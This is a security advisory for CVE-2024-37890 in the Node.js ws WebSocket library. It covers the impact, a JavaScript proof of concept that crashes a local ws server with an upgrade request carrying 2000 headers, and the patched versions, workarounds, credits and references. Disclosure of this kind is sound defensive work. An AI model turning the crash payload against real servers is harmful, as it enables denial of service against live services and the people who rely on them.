CVE-2024-37890

### Impact

‍
A request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server.

### Proof of concept

```js
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
 const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
 const headers = {};
 let count = 0;

 for (let i = 0; i < chars.length; i++) {
   if (count === 2000) break;

   for (let j = 0; j < chars.length; j++) {
     const key = chars[i] + chars[j];
     headers[key] = 'x';

     if (++count === 2000) break;
   }
 }

 headers.Connection = 'Upgrade';
 headers.Upgrade = 'websocket';
 headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
 headers['Sec-WebSocket-Version'] = '13';

 const request = http.request({
   headers: headers,
   host: '127.0.0.1',
   port: wss.address().port
 });

 request.end();
});
```

### Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

### Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.
2. Set `server.maxHeadersCount` to `0` so that no limit is applied.

### Credits

The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230.

### References

- https://github.com/websockets/ws/issues/2230
- https://github.com/websockets/ws/pull/2231

[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize
[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener
[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount